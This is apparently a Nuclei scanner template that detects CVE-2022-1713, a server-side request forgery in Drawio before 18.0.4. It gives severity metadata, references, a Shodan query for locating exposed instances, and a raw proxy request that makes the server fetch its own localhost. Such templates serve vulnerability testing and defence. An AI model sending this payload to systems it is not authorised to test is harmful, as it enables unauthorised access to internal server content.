id: CVE-2022-1713

info:
  name: Drawio <18.0.4 - Server-Side Request Forgery
  author: pikpikcu
  severity: high
  description: |
    Drawio prior to 18.0.4 is vulnerable to server-side request forgery. An attacker can make a request as the server and read its contents. This can lead to a leak of sensitive information.
  reference:
    - https://huntr.dev/bounties/cad3902f-3afb-4ed2-abd0-9f96a248de11
    - https://github.com/jgraph/drawio/commit/283d41ec80ad410d68634245cf56114bc19331ee
    - https://nvd.nist.gov/vuln/detail/CVE-2022-1713
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2022-1713
    cwe-id: CWE-918
    epss-score: 0.00708
    cpe: cpe:2.3:a:diagrams:drawio:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    verified: true
    shodan-query: http.title:"Flowchart Maker"
    vendor: diagrams
    product: drawio
  tags: drawio,ssrf,oss,huntr,cve,cve2022

http:
  - raw:
      - |
        GET /proxy?url=http%3a//0:8080/ HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "<title>Flowchart Maker & Online Diagram Software</title>"

      - type: word
        part: header
        words:
          - "application/octet-stream"